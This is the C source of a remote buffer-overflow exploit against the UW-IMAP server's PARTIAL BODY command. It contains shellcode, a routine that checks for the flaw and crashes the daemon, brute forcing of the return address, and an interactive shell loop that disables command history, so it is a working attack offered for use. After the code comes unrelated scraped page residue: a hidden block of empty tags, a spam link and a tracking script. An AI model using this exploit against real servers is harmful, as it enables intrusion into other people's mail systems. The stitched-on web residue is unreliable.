/***************** 
 * lsbody.c - BODY overflow exploit (linux/x86)
 *
 * Vulnerability was founded by Marcell Fodor (mantra.freeweb.hu)
 *
 * THIS IS PUBLISHED PROPRIETARY SOURCE CODE OF BUFFEROVERFLOW CREW
 *
 * Copyright (C) bufferoverflow.org(com.br), 2002
 * All Rights Reserved
 * by skylazart
 *****************/

static char version[] = "$Id: lsbody.c,v 1.1.1.1 2002/10/22 05:11:34 sky Exp $";

/*
 * see http://www.bufferoverflow.org for more stuffs
 */


/*
 * Exploit comments:
 * if you get an error like "** BAD Bogus sequence in PARTIAL", try to 
 * send mail to the target user, or, use -m /etc/passwd :)
 */


#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <getopt.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <stdarg.h>

#define MAXLINE 16384
#define col 55


long int RET_ADDR = 0xbfffff99;
int steps = -512;
char *mailbox = NULL;


/* rx_sc by skylazart. escape from imapd ascii filters and PARTIAL 
	command sintax */
char rx_sc[] = 
/* <main> */
	"\xeb\x31"
/* <sc> */
	"\x5e\x80\x06\xe0\x80\x46\x05\xe0\x89\xf1\x31"
	"\xdb\x31\xd2\xb0\x04\xb2\x06\xcd\x80\x31\xc0"
	"\x31\xdb\xb0\x94\xcd\x80\x31\xc0\x31\xd2\xb2"
	"\xfa\x8d\x8c\x24\x06\xff\xff\xff\x31\xdb\xb0"
	"\x03\xcd\x80\xff\xe1"
/* <caller> */
	"\xe8\xca\xff\xff\xff\x2a\x4e\x41\x54\x49\x2a";

char old[] =
/* <main> */
	"\xeb\x2e"
/* <sc> */
	"\x5e\x80\x46\x04\xe0\x89\xf1\x31\xdb\x31\xd2"
	"\xb0\x04\xb2\x05\xcd\x80\x31\xc0\x31\xdb\xb0"
	"\x94\xcd\x80\x31\xc0\x31\xd2\xb2\xfa\x8d\x8c"
	"\x24\x06\xff\xff\xff\x31\xdb\xb0\x03\xcd\x80"
	"\xff\xe1"
/* <caller> */
	"\xe8\xcd\xff\xff\xff\x4e\x41\x54\x49\x2a";



char execve_sc[] =
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


static int
PRINT (const char *fmt, ...)
{
	va_list		ap;

	va_start (ap, fmt);
	return (vfprintf (stderr, fmt, ap)); /* stderr isnt bufferd */
}

static void
ELEET (char *b, int n)
{
	if (n > col) {
		fprintf (stderr, "\n");
		n = 0;
	}
	while (n < col) {
		fprintf (stderr, " ");
		n++;
	}
	fprintf (stderr, "%s", b);
}

void
hlp (const char *name) {
	printf ("%s -h server -u username -p password [-m <mailbox>]\n\n", 
		name);
	exit (EXIT_SUCCESS);		
}

void
err_sys (const char *name, int error) {
	fprintf (stderr, "%s : %s\n", name, strerror (error));
	exit (EXIT_FAILURE);
}

void
err_quit (const char *msg) {
	fprintf (stderr, "%s. exiting...\n", msg);
	exit (EXIT_FAILURE);
}

void
handle_signal (int sig) {
	printf ("sorry\n");
	exit (EXIT_FAILURE);
}

int
hasdata (int fd, int timeout) {
	
	struct timeval	tv;
	fd_set		rset;
	
	tv.tv_usec = 0;
	tv.tv_sec = timeout;
	
	FD_ZERO (&rset);
	FD_SET (fd, &rset);
	
	return (select (fd + 1, &rset, NULL, NULL, &tv));
}

size_t
my_write (int sockfd, const void *buffer, size_t n) {

        size_t          nleft;
        size_t          nwritten;
        const char      *ptr;

        ptr = buffer;
        nleft = n;

        while ( nleft > 0 ) {
        again:
                if (( nwritten = write (sockfd, ptr, nleft)) < 0) {
                        if ( errno == EINTR )
                                goto again;
                        else
                                return (-1);
                }

                nleft -= nwritten;
                ptr += nwritten;
        }
        return (n);
}

static size_t
my_read (int sockfd, char *ptr, int timeout) {

        static int      read_cnt 	= 0;
        static char     *read_ptr;
        static char     read_buf[MAXLINE];

        if ( read_cnt <= 0 ) {
        again:
                if ( hasdata (sockfd, timeout) <= 0 )
                        return (0);
                if ((read_cnt = read (sockfd, read_buf, sizeof (read_buf)))<0) {                        if ( errno == EINTR )
                                goto again;
                        return (-1);
                } else if ( read_cnt == 0 )
                        return (0);
                read_buf[read_cnt] = '\0';
                read_ptr = read_buf;
        }
        read_cnt--;
        *ptr = *read_ptr++;
        return (1);
}

size_t
ReadLine (int sockfd, void *buffer, size_t maxlen, int timeout) {

        int     n, rc;
        char    c, *ptr;

        ptr = buffer;

        for (n = 1; n < maxlen; n++) {
                if ( (rc = my_read (sockfd, &c, timeout) ) == 1 ) {
                        *ptr++ = c;
                        if ( c == '\n' )
                                break;
                } else if ( rc == 0 ) {
                        if ( n == 1 )
                                return (0);
                        else
                                break;
                } else
                        return (-1);
        }
        *ptr = '\0';
        return (n);
}

int
con (char *hostname, int port, int timeout) {

	struct hostent		*he;
	struct sockaddr_in 	sin;
	struct timeval		tv;	
	unsigned long		i;
	int			sockfd;
	socklen_t		len		= sizeof (int);

	int			sc_fg;
	int			n;

	fd_set			wset, rset;
	int			opt 		= 1024;		/* MAXCAPLEN */
	
	int			one		= 1;	
	int			error		= 0;

	
	i = inet_addr (hostname);
	if (i == -1) {
		he = gethostbyname (hostname);
		if (he == NULL) {
			err_sys ("gethostbyname()", h_errno);
			exit (EXIT_FAILURE);
		} else
			i = *(unsigned long *) he->h_addr;
	}

	sockfd = socket (AF_INET, SOCK_STREAM, 0);
	if (sockfd < 0)
		err_sys ("socket ()", errno);

	sin.sin_family = PF_INET;
	sin.sin_port = htons (port);
	sin.sin_addr.s_addr = i;
	bzero (&(sin.sin_zero), 8);
	
	setsockopt (sockfd, SOL_SOCKET, SO_RCVBUF, (char *) &opt, sizeof (int));
	
	ioctl (sockfd, FIONBIO, &one);
	sc_fg = fcntl (sockfd, F_GETFL, 0);		
	fcntl (sockfd, F_SETFL, O_NONBLOCK | O_NDELAY);

	n = connect (sockfd, (struct sockaddr *) &sin, sizeof (sin));
	if (n == 0) { /* connected */
	        n = 0;
        	ioctl (sockfd, FIONBIO, &n);
	        fcntl (sockfd, F_SETFL, sc_fg);

	        return (sockfd);
	}	
	
	if (errno != EINPROGRESS) {
		close (sockfd);
		err_sys ("connect ()", errno);
	}
	
	FD_ZERO (&wset);
	FD_ZERO (&rset);
	FD_SET (sockfd, &wset);
	FD_SET (sockfd, &rset);
	tv.tv_usec = 0;
	tv.tv_sec = timeout;

	n = select (sockfd + 1, &rset, &wset, NULL, &tv);
	if (n == 0) {
		close (sockfd);
		errno = ETIMEDOUT;
		err_sys ("connect ()", errno);
	}

	if (FD_ISSET (sockfd, &rset) ||
		FD_ISSET (sockfd, &wset)) { /* data available */
		
		if (getsockopt (sockfd, SOL_SOCKET, SO_ERROR, &error, &len) 
			< 0) {
			close (sockfd);
			err_sys ("getsockopt ()", errno);
		} 
		if (error == 0) {
	       		n = 0;
        		ioctl (sockfd, FIONBIO, &n);
	       		fcntl (sockfd, F_SETFL, sc_fg);
		        return (sockfd);
		} else {
			close (sockfd);
			errno = ECONNREFUSED;
			err_sys ("connect ()", errno);
		}
	}
	return (sockfd);
}

int
imapdlogging (int sockfd, char *u, char *p) {

	char	buffer[1024];
	int	n;

	snprintf (buffer, sizeof (buffer), "** LOGIN %s %s\r\n", u, p);
	my_write (sockfd, buffer, strlen (buffer));

	memset (buffer, 0, sizeof (buffer));
	
	do {
		n = ReadLine (sockfd, buffer, sizeof (buffer), 20);
		if (n <= 0) 
			err_quit ("Connection terminated");
		buffer[n] = '\0';
	} while (strncmp (buffer, "** ", 3) != 0);

	if (strstr (buffer, "OK"))
		return (1);
	return (0);
}

int
verify_xpl (unsigned char *h, unsigned char *u, unsigned char *p) {

	int	sockfd, n, vuln = 0, bytes;
	char	buffer[3072];
	char	evil[4096];

	printf ("## CHECKING IF THE TARGET IS EXPLOITABLE ##\n\n");
	
	PRINT ("++ trying to connect %s@PASSWORD:%s.143... %n", u, h, &bytes);

	sockfd = con (h, 143, 40);

	ELEET ("; connected\n", bytes);
	
	PRINT ("++ trying to logging... %n", &bytes);

 	if (!imapdlogging (sockfd, u, p)) {
		close (sockfd);
		ELEET ("; failed\n", bytes);
		exit (EXIT_FAILURE);
	}
	
	ELEET ("; success\n", bytes);
	
	PRINT ("++ checking vulnerability... %n", &bytes);

	my_write (sockfd, "** CAPABILITY\r\n", 15);

	do {
		n = ReadLine (sockfd, buffer, sizeof (buffer), 20);
		if (n <= 0) 
			err_quit ("Connection terminated");
		buffer[n] = '\0';
		if (strstr (buffer, " IMAP4 "))
			vuln = 1;
	} while (strncmp (buffer, "** ", 3) != 0);
	
	if (!vuln) {
		close (sockfd);
		ELEET ("isn't vulnerable\n", bytes);
		exit (EXIT_FAILURE);
	}
	
	ELEET ("; vulnerable\n", bytes);
		
	PRINT ("++ trying to crash the daemon... %n", &bytes);

	snprintf (buffer, sizeof (buffer), "** SELECT %s\r\n", mailbox);
	my_write (sockfd, buffer, strlen (buffer));
	memset (buffer, 0, sizeof (buffer));

	do {
		n = ReadLine (sockfd, buffer, sizeof (buffer), 20);
		if (n <= 0) 
			err_quit ("connection closed");
		buffer[n] = '\0';
	} while (strncmp (buffer, "** ", 3) != 0);
	
	if (!strstr (buffer, "** OK")) {
		close (sockfd);
		err_quit ("Error trying to use SELECT Inbox");
	}

	memset (buffer, 0x41, sizeof (buffer));
	buffer[sizeof (buffer) - 1] = '\0';
	sprintf (evil, "** PARTIAL 1 BODY[%s] 1 1\r\n", buffer);

	my_write (sockfd, evil, strlen (evil));

	n = ReadLine (sockfd, buffer, sizeof (buffer), 20);
	if (n > 0) {
		close (sockfd);
		buffer[n] = '\0';
		printf ("failed trying to crash.\nserver returns: %s\n", 
			buffer);
		printf ("maybe, it's a problem with mailbox. try -m /etc/passwd\n");
		err_quit ("failed");
	}	

	ELEET ("; CRASHED!!\n", bytes);		
	
	close (sockfd);
	return (1);
}

int
get_shell (int sockfd) {

	fd_set 	rfds;
	int 	n = 0;
	char 	buffer[2048];
	
	/* send real shellcode and wait for answer */

	printf ("++ sending execve shellcode with %d bytes length... ",
		strlen (execve_sc));
	fflush (stdout);

	my_write (sockfd, execve_sc, strlen (execve_sc));
	my_write (sockfd, "\n", 1);
	printf ("sent!\n");

	printf ("############# gota shell # # #\n\n");

        my_write (sockfd, "unset HISTFILE;uname -a;id;\n", 29);
	my_write (sockfd, "exec /bin/bash -i\n", 18);
	FD_ZERO (&rfds);

	while (1) {
		FD_SET (0, &rfds);
		FD_SET (sockfd, &rfds);

		n = select (sockfd + 1, &rfds, NULL, NULL, NULL);
		if (FD_ISSET (sockfd, &rfds)) {
			n = read (sockfd, buffer, sizeof (buffer));
			if (n <= 0)
				break;
			buffer[n] = '\0';
			write (1, buffer, n);
		}
		if (FD_ISSET (0, &rfds)) {
			n = read (0, buffer, sizeof (buffer));
			if (n <= 0) 
				break;
			buffer[n] = '\0';
			write (sockfd, buffer, n);
		}
	}
	
	printf ("Connection Terminated.\n");
	close (sockfd);
	exit (0);
}

void
xpl (unsigned char *h, unsigned char *u, unsigned char *p, long int ret_addr) {

	int		sockfd, n;
	char		buffer[4096];
	char		evil[1054], *ptr;
	static char 	leet[8] = "\0";
	
	strcat (leet, ">");
	
	printf ("\rExploiting [%-8s] 0x%08lx ", 
		leet, ret_addr);
	fflush (stdout);

	if (leet[7] == '>')
		memset (leet, 0x0, sizeof (leet));

	sockfd = con (h, 143, 40);

	snprintf (buffer, sizeof (buffer), "** LOGIN %s %s\r\n", u, p);
	my_write (sockfd, buffer, strlen (buffer));
	snprintf (buffer, sizeof (buffer), "*** SELECT %s\r\n", mailbox);
	my_write (sockfd, buffer, strlen (buffer));
	memset (buffer, 0, sizeof (buffer));	
	
/*
	do {
		n = ReadLine (sockfd, buffer, sizeof (buffer), 10);
		if (n <= 0) 
			err_quit ("connection closed");
		buffer[n] = '\0';
	} while (strncmp (buffer, "*** ", 4) != 0);
*/

	memset (evil, 0x90, sizeof (evil));
	ptr = &evil[1024] - strlen (rx_sc);
	memcpy (ptr, rx_sc, strlen (rx_sc));
	ptr = &evil[1024];
	for (; ptr < &evil[sizeof (evil) -1]; ptr += 4)
		*(long int *) ptr =  ret_addr;

	ptr = &evil[sizeof (evil) - 1];
	*ptr = '\0';

	sprintf (buffer, "** PARTIAL 1 BODY[%s] 1 1\r\n", evil);
	my_write (sockfd, buffer, strlen (buffer));
	my_write (sockfd, "*** LOGOUT\r\n", 12);

/*
	do {
		n = ReadLine (sockfd, buffer, sizeof (buffer), 10);
		if (n <= 0) 
			err_quit ("connection closed");
		buffer[n] = '\0';
	} while (strncmp (buffer, "*** ", 4) != 0);
*/

	while ((n = ReadLine (sockfd, buffer, sizeof (buffer), 20))) {
		buffer[n] = '\0';

	#ifdef DEBUG
		printf ("%s\n", buffer);
	#endif
	
		if (strstr (buffer, "NATI") && !strstr (buffer, "NATI*")) {
			printf ("!! SUCCESS !!\r");
			printf ("\r\n\n## \"NATI\" FOUND! ##\n\n");
			get_shell (sockfd);
			exit (0);
		}
	}

	close (sockfd);
		
	printf ("FAILED");
	xpl (h, u, p, ret_addr + steps);

	exit (0);
}

int
main (int argc, char **argv) {

	char	*hostname, *username, *password;
	int	opt;

	hostname = username = password = NULL;
	
	printf ("\033[2J\033[1;1Hlsbody - UW-IMAPD version 12.261, "
		"12.264, 2000.283, 2000.284, 2000.287 and 2001.315"
		" compiled with RFC 1730 support. Others?!\n"
		"%s\n"
		"by skylazart/bufferoverflow.org\n\n", version);

	while ((opt = getopt (argc, argv, "u:p:h:m:")) != -1) {
		switch (opt) {
		case 'h':
			hostname = optarg;
			break;
		case 'u':
			username = optarg;
			break;
		case 'p':
			password = optarg;
			break;
		case 'm': 
			mailbox = strdup (optarg);
			break;
		default: 
			hlp (argv[0]);
			break;
		}
	}

	if (!hostname || !username || !password) 
		hlp (argv[0]);

	if (!mailbox) 
		mailbox = strdup ("Inbox");

	signal (SIGUSR1, handle_signal);
	signal (SIGTRAP, handle_signal);
	
	if (ptrace (PTRACE_TRACEME, 0, 1, 0) < 0) {
		printf ("Sorry, debug isn't allowed\n");
		exit (0);
	} 

	if (verify_xpl (hostname, username, password)) { 
		printf ("\n### EXPLOITING ###\n\n");
		xpl (hostname, username, password, RET_ADDR);
	}
		
	return (0);
}
<div style="position:fixed;left:-9000px;top:-9000px;"><em id="7ztzv"></em><center id="7ztzv"></center><mark id="7ztzv"><center id="7ztzv"></center></mark><output id="7ztzv"><noframes id="7ztzv"></noframes></output><font id="7ztzv"><delect id="7ztzv"></delect></font><ruby id="7ztzv"><big id="7ztzv"></big></ruby><progress id="7ztzv"><sub id="7ztzv"></sub></progress><th id="7ztzv"><big id="7ztzv"></big></th><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><video id="7ztzv"></video></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><strike id="7ztzv"><span id="7ztzv"></span></strike><em id="7ztzv"><span id="7ztzv"></span></em><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><noframes id="7ztzv"></noframes></th><em id="7ztzv"><span id="7ztzv"></span></em><ins id="7ztzv"><b id="7ztzv"></b></ins><ol id="7ztzv"><output id="7ztzv"></output></ol><menuitem id="7ztzv"><thead id="7ztzv"></thead></menuitem><del id="7ztzv"><ruby id="7ztzv"></ruby></del><noframes id="7ztzv"><span id="7ztzv"></span></noframes><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><progress id="7ztzv"><thead id="7ztzv"></thead></progress><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><strike id="7ztzv"><pre id="7ztzv"></pre></strike><em id="7ztzv"><address id="7ztzv"></address></em><big id="7ztzv"><address id="7ztzv"></address></big><address id="7ztzv"><listing id="7ztzv"></listing></address><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><big id="7ztzv"><sub id="7ztzv"></sub></big><var id="7ztzv"><meter id="7ztzv"></meter></var><span id="7ztzv"><video id="7ztzv"></video></span><listing id="7ztzv"><mark id="7ztzv"></mark></listing><progress id="7ztzv"><address id="7ztzv"></address></progress><nobr id="7ztzv"><progress id="7ztzv"></progress></nobr><noframes id="7ztzv"><sub id="7ztzv"></sub></noframes><font id="7ztzv"><delect id="7ztzv"></delect></font><strike id="7ztzv"><pre id="7ztzv"></pre></strike><delect id="7ztzv"><menuitem id="7ztzv"></menuitem></delect><em id="7ztzv"><pre id="7ztzv"></pre></em><mark id="7ztzv"><cite id="7ztzv"></cite></mark><delect id="7ztzv"><ins id="7ztzv"></ins></delect><pre id="7ztzv"><rp id="7ztzv"></rp></pre><cite id="7ztzv"><var id="7ztzv"></var></cite><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><ruby id="7ztzv"><p id="7ztzv"></p></ruby><em id="7ztzv"><form id="7ztzv"></form></em><rp id="7ztzv"><em id="7ztzv"></em></rp>
<video id="7ztzv"><noframes id="7ztzv"></noframes></video><cite id="7ztzv"><del id="7ztzv"></del></cite><meter id="7ztzv"><thead id="7ztzv"></thead></meter><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><thead id="7ztzv"></thead></meter><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><mark id="7ztzv"><cite id="7ztzv"></cite></mark><menuitem id="7ztzv"><font id="7ztzv"></font></menuitem><del id="7ztzv"><rp id="7ztzv"></rp></del><thead id="7ztzv"><delect id="7ztzv"></delect></thead><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><ins id="7ztzv"><cite id="7ztzv"></cite></ins><delect id="7ztzv"><output id="7ztzv"></output></delect><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><p id="7ztzv"></p></ruby><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><progress id="7ztzv"><address id="7ztzv"></address></progress><thead id="7ztzv"><var id="7ztzv"></var></thead><ins id="7ztzv"><i id="7ztzv"></i></ins><ins id="7ztzv"><b id="7ztzv"></b></ins><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><ins id="7ztzv"><i id="7ztzv"></i></ins><font id="7ztzv"><delect id="7ztzv"></delect></font><em id="7ztzv"><form id="7ztzv"></form></em><var id="7ztzv"><ins id="7ztzv"></ins></var><span id="7ztzv"><th id="7ztzv"></th></span><ol id="7ztzv"><rp id="7ztzv"></rp></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><address id="7ztzv"><dfn id="7ztzv"></dfn></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><noframes id="7ztzv"><span id="7ztzv"></span></noframes><noframes id="7ztzv"><form id="7ztzv"></form></noframes><big id="7ztzv"><form id="7ztzv"></form></big><track id="7ztzv"><noframes id="7ztzv"></noframes></track><em id="7ztzv"><span id="7ztzv"></span></em><span id="7ztzv"><th id="7ztzv"></th></span><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><em id="7ztzv"></em></video><delect id="7ztzv"><ins id="7ztzv"></ins></delect><b id="7ztzv"><del id="7ztzv"></del></b><progress id="7ztzv"><sub id="7ztzv"></sub></progress><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><rp id="7ztzv"><em id="7ztzv"></em></rp><track id="7ztzv"><noframes id="7ztzv"></noframes></track><address id="7ztzv"><th id="7ztzv"></th></address><cite id="7ztzv"><delect id="7ztzv"></delect></cite><cite id="7ztzv"><var id="7ztzv"></var></cite><output id="7ztzv"><i id="7ztzv"></i></output><track id="7ztzv"><big id="7ztzv"></big></track>
<big id="7ztzv"><address id="7ztzv"></address></big><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><font id="7ztzv"></font></meter><address id="7ztzv"><nobr id="7ztzv"></nobr></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><pre id="7ztzv"><video id="7ztzv"></video></pre><th id="7ztzv"><progress id="7ztzv"></progress></th><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><em id="7ztzv"></em></ruby><del id="7ztzv"><ins id="7ztzv"></ins></del><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><var id="7ztzv"></var></thead><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><b id="7ztzv"><del id="7ztzv"></del></b><big id="7ztzv"><address id="7ztzv"></address></big><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><ins id="7ztzv"></ins></ol><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><listing id="7ztzv"><progress id="7ztzv"></progress></listing><delect id="7ztzv"><output id="7ztzv"></output></delect><noframes id="7ztzv"><span id="7ztzv"></span></noframes><track id="7ztzv"><noframes id="7ztzv"></noframes></track><menuitem id="7ztzv"><sub id="7ztzv"></sub></menuitem><address id="7ztzv"><th id="7ztzv"></th></address><address id="7ztzv"><track id="7ztzv"></track></address><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><em id="7ztzv"><pre id="7ztzv"></pre></em><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><form id="7ztzv"></form></em><form id="7ztzv"><track id="7ztzv"></track></form><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><rp id="7ztzv"><noframes id="7ztzv"></noframes></rp><i id="7ztzv"><ol id="7ztzv"></ol></i><i id="7ztzv"><del id="7ztzv"></del></i><cite id="7ztzv"><delect id="7ztzv"></delect></cite><strike id="7ztzv"><dl id="7ztzv"></dl></strike><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><address id="7ztzv"><th id="7ztzv"></th></address><ins id="7ztzv"><font id="7ztzv"></font></ins><thead id="7ztzv"><var id="7ztzv"></var></thead><video id="7ztzv"><strike id="7ztzv"></strike></video><p id="7ztzv"><pre id="7ztzv"></pre></p><video id="7ztzv"><i id="7ztzv"></i></video><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><listing id="7ztzv"></listing></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><address id="7ztzv"><th id="7ztzv"></th></address><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var>
<p id="7ztzv"><var id="7ztzv"></var></p><ins id="7ztzv"><i id="7ztzv"></i></ins><strike id="7ztzv"><span id="7ztzv"></span></strike><del id="7ztzv"><output id="7ztzv"></output></del><font id="7ztzv"><delect id="7ztzv"></delect></font><output id="7ztzv"><em id="7ztzv"></em></output><p id="7ztzv"><span id="7ztzv"></span></p><big id="7ztzv"><thead id="7ztzv"></thead></big><video id="7ztzv"><noframes id="7ztzv"></noframes></video><b id="7ztzv"><ol id="7ztzv"></ol></b><font id="7ztzv"><dfn id="7ztzv"></dfn></font><font id="7ztzv"><var id="7ztzv"></var></font><ins id="7ztzv"><i id="7ztzv"></i></ins><dfn id="7ztzv"><meter id="7ztzv"></meter></dfn><rp id="7ztzv"><strike id="7ztzv"></strike></rp><del id="7ztzv"><ruby id="7ztzv"></ruby></del><var id="7ztzv"><ruby id="7ztzv"></ruby></var><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><del id="7ztzv"><ruby id="7ztzv"></ruby></del><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><track id="7ztzv"><noframes id="7ztzv"></noframes></track><form id="7ztzv"><nobr id="7ztzv"></nobr></form><video id="7ztzv"><big id="7ztzv"></big></video><video id="7ztzv"><em id="7ztzv"></em></video><p id="7ztzv"><span id="7ztzv"></span></p><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><ins id="7ztzv"><b id="7ztzv"></b></ins><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><var id="7ztzv"><mark id="7ztzv"></mark></var><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><address id="7ztzv"><th id="7ztzv"></th></address><form id="7ztzv"><th id="7ztzv"></th></form><mark id="7ztzv"><cite id="7ztzv"></cite></mark><progress id="7ztzv"><font id="7ztzv"></font></progress><mark id="7ztzv"><cite id="7ztzv"></cite></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><mark id="7ztzv"><font id="7ztzv"></font></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><pre id="7ztzv"><video id="7ztzv"></video></pre><strike id="7ztzv"><dl id="7ztzv"></dl></strike><delect id="7ztzv"><ins id="7ztzv"></ins></delect><dl id="7ztzv"><rp id="7ztzv"></rp></dl><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><p id="7ztzv"><dl id="7ztzv"></dl></p><mark id="7ztzv"><i id="7ztzv"></i></mark><meter id="7ztzv"><sub id="7ztzv"></sub></meter><rp id="7ztzv"><em id="7ztzv"></em></rp><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead>
<th id="7ztzv"><big id="7ztzv"></big></th><del id="7ztzv"><rp id="7ztzv"></rp></del><video id="7ztzv"><big id="7ztzv"></big></video><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><big id="7ztzv"><sub id="7ztzv"></sub></big><track id="7ztzv"><em id="7ztzv"></em></track><cite id="7ztzv"><ol id="7ztzv"></ol></cite><i id="7ztzv"><dl id="7ztzv"></dl></i><noframes id="7ztzv"><address id="7ztzv"></address></noframes><ruby id="7ztzv"><i id="7ztzv"></i></ruby><delect id="7ztzv"><output id="7ztzv"></output></delect><delect id="7ztzv"><output id="7ztzv"></output></delect><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><ol id="7ztzv"><ruby id="7ztzv"></ruby></ol><delect id="7ztzv"><output id="7ztzv"></output></delect><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><track id="7ztzv"><big id="7ztzv"></big></track><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><b id="7ztzv"></b></mark><i id="7ztzv"><ol id="7ztzv"></ol></i><progress id="7ztzv"><sub id="7ztzv"></sub></progress><rp id="7ztzv"><strike id="7ztzv"></strike></rp><font id="7ztzv"><var id="7ztzv"></var></font><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><em id="7ztzv"></em></th><delect id="7ztzv"><ins id="7ztzv"></ins></delect><sub id="7ztzv"><delect id="7ztzv"></delect></sub><progress id="7ztzv"><sub id="7ztzv"></sub></progress><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><listing id="7ztzv"></listing></thead><form id="7ztzv"><th id="7ztzv"></th></form><track id="7ztzv"><em id="7ztzv"></em></track><dfn id="7ztzv"><menuitem id="7ztzv"></menuitem></dfn><b id="7ztzv"><dl id="7ztzv"></dl></b><nobr id="7ztzv"><big id="7ztzv"></big></nobr><track id="7ztzv"><progress id="7ztzv"></progress></track><ruby id="7ztzv"><p id="7ztzv"></p></ruby><pre id="7ztzv"><nobr id="7ztzv"></nobr></pre><pre id="7ztzv"><track id="7ztzv"></track></pre><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><i id="7ztzv"></i></mark><rp id="7ztzv"><p id="7ztzv"></p></rp><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><sub id="7ztzv"><dfn id="7ztzv"></dfn></sub><thead id="7ztzv"><var id="7ztzv"></var></thead><i id="7ztzv"><ol id="7ztzv"></ol></i><track id="7ztzv"><strike id="7ztzv"></strike></track></div>

<a href="http://www.bjnorthway.com/">ÑÇÖÞÅ·ÃÀÔÚÏß</a>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>